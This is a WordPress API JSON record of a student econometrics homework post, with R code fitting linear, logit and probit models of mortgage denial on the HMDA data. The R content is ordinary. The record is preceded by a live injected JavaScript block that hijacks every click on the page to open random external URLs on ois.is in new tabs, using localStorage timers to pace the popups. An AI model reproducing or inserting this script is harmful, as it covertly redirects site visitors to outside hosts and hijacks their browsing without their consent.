<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":949,"date":"2022-10-26T22:16:47","date_gmt":"2022-10-26T14:16:47","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=949"},"modified":"2023-10-16T21:41:19","modified_gmt":"2023-10-16T13:41:19","slug":"221020-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_%e4%bd%9c%e6%a5%ad-3","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=949","title":{"rendered":"221020 \u8a08\u91cf\u7d93\u6fdf\u5b78_\u4f5c\u696d 3"},"content":{"rendered":"<p>library(AER)<\/p>\n<p>library(stargazer)<\/p>\n<p>&nbsp;<\/p>\n<p>data(HMDA)<\/p>\n<p>head(HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>str(HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>HMDA$deny &lt;- as.numeric(HMDA$deny)<\/p>\n<p>str(HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>HMDA$deny &lt;- HMDA$deny -1<\/p>\n<p>str(HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>denymod1 &lt;- lm(deny ~ pirat, data = HMDA)<\/p>\n<p>summary(denymod1)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p># plot the data<\/p>\n<p>plot(x = HMDA$pirat,<\/p>\n<p>y = HMDA$deny,<\/p>\n<p>main = &#8220;Scatterplot Mortgage Application Denial and the Payment-to-Income Ratio&#8221;,<\/p>\n<p>xlab = &#8220;P\/I ratio&#8221;,<\/p>\n<p>ylab = &#8220;Deny&#8221;,<\/p>\n<p>pch = 20,<\/p>\n<p>ylim = c(-0.4, 1.4),<\/p>\n<p>cex.main = 0.8)<\/p>\n<p>&nbsp;<\/p>\n<p># add horizontal dashed lines and text<\/p>\n<p>abline(h = 1, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>abline(h = 0, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>text(2.5, 0.9, cex = 0.8, &#8220;Mortgage denied&#8221;)<\/p>\n<p>text(2.5, -0.1, cex= 0.8, &#8220;Mortgage approved&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>abline(denymod1,<\/p>\n<p>lwd = 1.8,<\/p>\n<p>col = &#8220;steelblue&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(denymod1,1)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(denymod1,2)<\/p>\n<p>&nbsp;<\/p>\n<p># estimate the simple logit model<\/p>\n<p>denylogit &lt;- glm(deny ~ pirat,<\/p>\n<p>family = binomial(link = &#8220;logit&#8221;),<\/p>\n<p>data = HMDA)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #glm\u662f\u5ee3\u7fa9\u7684\u610f\u601d<\/p>\n<p>&nbsp;<\/p>\n<p>summary(denylogit)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p># plot data<\/p>\n<p>plot(x = HMDA$pirat,<\/p>\n<p>y = HMDA$deny,<\/p>\n<p>main = &#8220;Logit Model of the Probability of Denial, Given P\/I Ratio&#8221;,<\/p>\n<p>xlab = &#8220;P\/I ratio&#8221;,<\/p>\n<p>ylab = &#8220;Deny&#8221;,<\/p>\n<p>pch = 20,<\/p>\n<p>ylim = c(-0.4, 1.4),<\/p>\n<p>cex.main = 0.85)<\/p>\n<p>&nbsp;<\/p>\n<p># add horizontal dashed lines and text<\/p>\n<p>abline(h = 1, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>abline(h = 0, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>text(2.5, 0.9, cex = 0.8, &#8220;Mortgage denied&#8221;)<\/p>\n<p>text(2.5, -0.1, cex= 0.8, &#8220;Mortgage approved&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p># add estimated regression line<\/p>\n<p>x &lt;- seq(0, 3, 0.01)<\/p>\n<p>y &lt;- predict(denylogit, list(pirat = x), type = &#8220;response&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>lines(x, y, lwd = 1.5, col = &#8220;red&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>predictions &lt;- predict(denylogit,<\/p>\n<p>newdata = data.frame(&#8220;pirat&#8221; = c(0.5, 1.5)),<\/p>\n<p>type = &#8220;response&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>predictions<\/p>\n<p>diff(predictions)<\/p>\n<p>&nbsp;<\/p>\n<p>str(HMDA)<\/p>\n<p>colnames(HMDA)[colnames(HMDA) == &#8220;afam&#8221;] &lt;- &#8220;black&#8221; <strong>#<\/strong><strong>\u5c07<\/strong><strong>colnames<\/strong><strong>\u7684\u540d\u7a31\u7531<\/strong><strong>afam<\/strong><strong>\u6539\u70ba<\/strong><strong>black<\/strong><\/p>\n<p>str(HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>denylogit2 &lt;- glm(deny ~ pirat + black,<\/p>\n<p>family = binomial(link = &#8220;logit&#8221;),<\/p>\n<p>data = HMDA)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>#2<\/strong><strong>\u500b\u89e3\u91cb\u8b8a\u6578<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>summary(denylogit2)<\/p>\n<p>&nbsp;<\/p>\n<p>predictions &lt;- predict(denylogit2,<\/p>\n<p>newdata = data.frame(&#8220;black&#8221; = c(&#8220;no&#8221;, &#8220;yes&#8221;),<\/p>\n<p>&#8220;pirat&#8221; = c(0.3, 0.3)),<\/p>\n<p>type = &#8220;response&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>predictions<\/p>\n<p>&nbsp;<\/p>\n<p>denyprobit &lt;- glm(deny ~ pirat,<\/p>\n<p>family = binomial(link = &#8220;probit&#8221;),<\/p>\n<p>data = HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>summary(denyprobit)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p># plot data<\/p>\n<p>plot(x = HMDA$pirat,<\/p>\n<p>y = HMDA$deny,<\/p>\n<p>main = &#8220;Probit Model of the Probability of Denial, Given P\/I Ratio&#8221;,<\/p>\n<p>xlab = &#8220;P\/I ratio&#8221;,<\/p>\n<p>ylab = &#8220;Deny&#8221;,<\/p>\n<p>pch = 20,<\/p>\n<p>ylim = c(-0.4, 1.4),<\/p>\n<p>cex.main = 0.85)<\/p>\n<p>&nbsp;<\/p>\n<p># add horizontal dashed lines and text<\/p>\n<p>abline(h = 1, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>abline(h = 0, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>text(2.5, 0.9, cex = 0.8, &#8220;Mortgage denied&#8221;)<\/p>\n<p>text(2.5, -0.1, cex= 0.8, &#8220;Mortgage approved&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p># add estimated regression line<\/p>\n<p>x &lt;- seq(0, 3, 0.01)<\/p>\n<p>y &lt;- predict(denyprobit, list(pirat = x), type = &#8220;response&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>lines(x, y, lwd = 1.5, col = &#8220;blue&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>denyprobit2 &lt;- glm(deny ~ pirat + black,<\/p>\n<p>family = binomial(link = &#8220;probit&#8221;),<\/p>\n<p>data = HMDA)<\/p>\n<p>&nbsp;<\/p>\n<p>summary(denyprobit2)<\/p>\n<p>&nbsp;<\/p>\n<p>library(stargazer)<\/p>\n<p>stargazer(denylogit,denylogit2,denyprobit,denyprobit2, type = &#8220;html&#8221;, out = &#8220;binary data analysis.html&#8221; ,title = &#8220;My Regression models&#8221;)<\/p>\n<p>#\u4fee\u6539\u9019\u6bb5\u8a66\u8a66<\/p>\n<p>stargazer(denylogit,denylogit2,denyprobit,denyprobit2, type = &#8220;<u>text<\/u>&#8220;, out = &#8220;binary data analysis.<u>text<\/u> &#8221; ,title = &#8220;My Regression models&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p># plot data<\/p>\n<p>plot(x = HMDA$pirat,<\/p>\n<p>y = HMDA$deny,<\/p>\n<p>main = &#8220;Probit and Logit Models Model of the Probability of Denial, Given P\/I Ratio&#8221;,<\/p>\n<p>xlab = &#8220;P\/I ratio&#8221;,<\/p>\n<p>ylab = &#8220;Deny&#8221;,<\/p>\n<p>pch = 20,<\/p>\n<p>ylim = c(-0.4, 1.4),<\/p>\n<p>cex.main = 0.9)<\/p>\n<p>&nbsp;<\/p>\n<p># add horizontal dashed lines and text<\/p>\n<p>abline(h = 1, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>abline(h = 0, lty = 2, col = &#8220;darkred&#8221;)<\/p>\n<p>text(2.5, 0.9, cex = 0.8, &#8220;Mortgage denied&#8221;)<\/p>\n<p>text(2.5, -0.1, cex= 0.8, &#8220;Mortgage approved&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p># add estimated regression line of Probit and Logit models<\/p>\n<p>x &lt;- seq(0, 3, 0.01)<\/p>\n<p>y_probit &lt;- predict(denyprobit, list(pirat = x), type = &#8220;response&#8221;)<\/p>\n<p>y_logit &lt;- predict(denylogit, list(pirat = x), type = &#8220;response&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p>lines(x, y_probit, lwd = 1.5, col = &#8220;blue&#8221;)<\/p>\n<p>#lines(x, y_logit, lwd = 1.5, col = &#8220;red&#8221;, lty = 2)<\/p>\n<p>lines(x, y_logit, lwd = 1.5, col = &#8220;red&#8221;)<\/p>\n<p>&nbsp;<\/p>\n<p># add a legend<\/p>\n<p>legend(&#8220;topleft&#8221;,<\/p>\n<p>horiz = TRUE,<\/p>\n<p>legend = c(&#8220;Probit&#8221;, &#8220;Logit&#8221;),<\/p>\n<p>col = c(&#8220;blue&#8221;, &#8220;red&#8221;),<\/p>\n<p>lty = c(1, 2))<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-979\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_1-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_1-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_1.png 764w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-978\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_2-300x286.png\" alt=\"\" width=\"300\" height=\"286\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_2-300x286.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_2.png 726w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-977\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_3-300x293.png\" alt=\"\" width=\"300\" height=\"293\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_3-300x293.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_3.png 709w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-976\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_4-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_4-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_4.png 714w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-975\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_5-300x295.png\" alt=\"\" width=\"300\" height=\"295\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_5-300x295.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_5.png 716w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-974\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_6-300x199.png\" alt=\"\" width=\"300\" height=\"199\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_6-300x199.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_6-800x531.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_6-768x509.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1020_6.png 1078w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-980\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/binary-data-analysis-300x283.png\" alt=\"\" width=\"300\" height=\"283\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/binary-data-analysis-300x283.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/binary-data-analysis.png 618w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>library(AER) library(stargazer) &nbsp; d<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/949"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=949"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions"}],"predecessor-version":[{"id":983,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions\/983"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}